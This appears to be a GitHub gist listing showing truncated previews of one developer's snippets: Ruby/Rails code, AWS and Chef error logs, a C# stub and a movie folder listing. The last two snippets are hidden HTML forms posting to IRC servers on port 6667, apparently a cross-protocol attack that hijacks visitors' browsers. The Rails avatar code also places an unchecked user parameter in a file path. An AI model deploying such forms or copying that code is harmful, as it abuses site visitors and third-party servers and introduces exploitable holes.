This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| %span | |
| Testing with the text | |
| %a{:href => "#"} | |
| This is the link text |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ## Params Hash | |
| {:price=>"1", :image_id=>"ami-63be790a", :groups=>["mcsl-web", "default"], :flavor_id=>"m1.xlarge", :key_name=>"mcsl", :availability_zone=>"us-east-1a", :block_device_mapping=>[{"DeviceName"=>"/dev/sda1", "Ebs.VolumeSize"=>"8", "Ebs.DeleteOnTermination"=>"true"}]} | |
| ## Error | |
| /Users/wedtm/.rvm/gems/ruby-1.9.2-p180@global/gems/fog-0.11.0/lib/fog/compute/parsers/aws/spot_instance_requests.rb:37:in `[]=': can't convert String into Integer (Excon::Errors::SocketError) | |
| from /Users/wedtm/.rvm/gems/ruby-1.9.2-p180@global/gems/fog-0.11.0/lib/fog/compute/parsers/aws/spot_instance_requests.rb:37:in `end_element' | |
| from /Users/wedtm/.rvm/gems/ruby-1.9.2-p180@global/gems/nokogiri-1.5.0/lib/nokogiri/xml/sax/document.rb:127:in `end_element_namespace' | |
| from /Users/wedtm/.rvm/gems/ruby-1.9.2-p180@global/gems/nokogiri-1.5.0/lib/nokogiri/xml/sax/push_parser.rb:47:in `native_write' | |
| from /Users/wedtm/.rvm/gems/ruby-1.9.2-p180@global/gems/nokogiri-1.5.0/lib/nokogiri/xml/sax/push_parser.rb:47:in `write' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| bash -c ' | |
| if [ ! -f /usr/local/bin/chef-client ]; then | |
| apt-get update | |
| apt-get -y upgrade | |
| apt-get install -y build-essential wget zlib1g-dev libssl-dev libffi-dev | |
| cd /usr/src | |
| wget ftp://ftp.ruby-lang.org//pub/ruby/1.9/ruby-1.9.2-p180.tar.bz2 | |
| tar xjf ruby-1.9.2-p180.tar.bz2 | |
| cd ruby-1.9.2-p180 | |
| ./configure |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ~/chef-repo /master ! ()> knife bootstrap ec2-174-129-61-140.compute-1.amazonaws.com -d ubuntu10.04-ruby192 -VV | |
| DEBUG: Using configuration from /Users/wedtm/chef-repo/.chef/knife.rb | |
| Bootstrapping Chef on ec2-174-129-61-140.compute-1.amazonaws.com | |
| DEBUG: Looking for bootstrap template in /Users/wedtm/.rvm/gems/ruby-1.9.2-p180/gems/chef-0.10.4/lib/chef/knife/bootstrap | |
| DEBUG: Looking for bootstrap template in /Users/wedtm/chef-repo/.chef/bootstrap | |
| DEBUG: Looking for bootstrap template in /Users/wedtm/.chef/bootstrap | |
| /Users/wedtm/.rvm/gems/ruby-1.9.2-p180/gems/chef-0.10.4/lib/chef/knife/bootstrap.rb:122:in `dirname': can't convert Array into String (TypeError) | |
| from /Users/wedtm/.rvm/gems/ruby-1.9.2-p180/gems/chef-0.10.4/lib/chef/knife/bootstrap.rb:122:in `block in load_template' | |
| from /Users/wedtm/.rvm/gems/ruby-1.9.2-p180/gems/chef-0.10.4/lib/chef/knife/bootstrap.rb:121:in `each' | |
| from /Users/wedtm/.rvm/gems/ruby-1.9.2-p180/gems/chef-0.10.4/lib/chef/knife/bootstrap.rb:121:in `find' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| nick = params[:nick] | |
| path = File.join(Rails.root, "public", "avatar", nick + ".png") | |
| if File.exist? path | |
| if File.open(path).mtime < 1.day.ago | |
| url = "http://s3.amazonaws.com/MinecraftSkins/" | |
| image = '' | |
| open(url + nick + '.png', 'rb') do |f| | |
| image = Image.from_blob(f.read).first | |
| end | |
| img = image.crop(8,8,8,8) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| rank = 10 #Starting Ranking | |
| # Subtract 1 if the server was made less than 7 days ago, prevents new servers from being at the top. | |
| if self.created_at > 7.days.ago | |
| rank = rank - 1 | |
| end | |
| # If the last check failed, drop the ranking significantly, this is to give a temporary, but severe penalty | |
| if self.uptime_checks.last.result == false | |
| rank = rank - 50 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| using System; | |
| using System.Collections.Generic; | |
| using System.Linq; | |
| using System.Text; | |
| using System.Net; | |
| using System.Xml; | |
| using System.IO; | |
| namespace APIExample | |
| { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Folder PATH listing for volume Storage | |
| Volume serial number is A456-0990 | |
| E:. | |
| +---300 | |
| +---A Beautiful Mind (2001) | |
| | \---A beautiful mind | |
| | +---AUDIO_TS | |
| | \---VIDEO_TS | |
| +---A Christmas Story (1983) | |
| | \---A.Christmas.Story.1983.BluRay.720p.x264-CtrlHD |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <form action="http://IRC.INSERTIRCSERVERHERE.NET:6667/" method="post" enctype="text/plain"> | |
| <textarea style="display:none" id="x" name="x"></textarea> | |
| <input type="submit" style="display:none;" /> | |
| </form> | |
| <script type="text/javascript"> | |
| function randomString(length) { | |
| var chars = "abcdefghiklmnopqrstuvwxyz"; | |
| var randomstring = ''; | |
| for (var i=0; i<length; i++) { | |
| var rnum = Math.floor(Math.random() * chars.length); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <form action="http://rand-pdx.solidnet.net:6667/" method="post" enctype="text/plain"> | |
| <textarea style="display:none" id="x" name="x"></textarea> | |
| <input type="submit" style="display:none;" /> | |
| </form> | |
| <script type="text/javascript"> | |
| function randomString(length) { | |
| var chars = "abcdefghiklmnopqrstuvwxyz"; | |
| var randomstring = ''; | |
| for (var i=0; i<length; i++) { | |
| var rnum = Math.floor(Math.random() * chars.length); |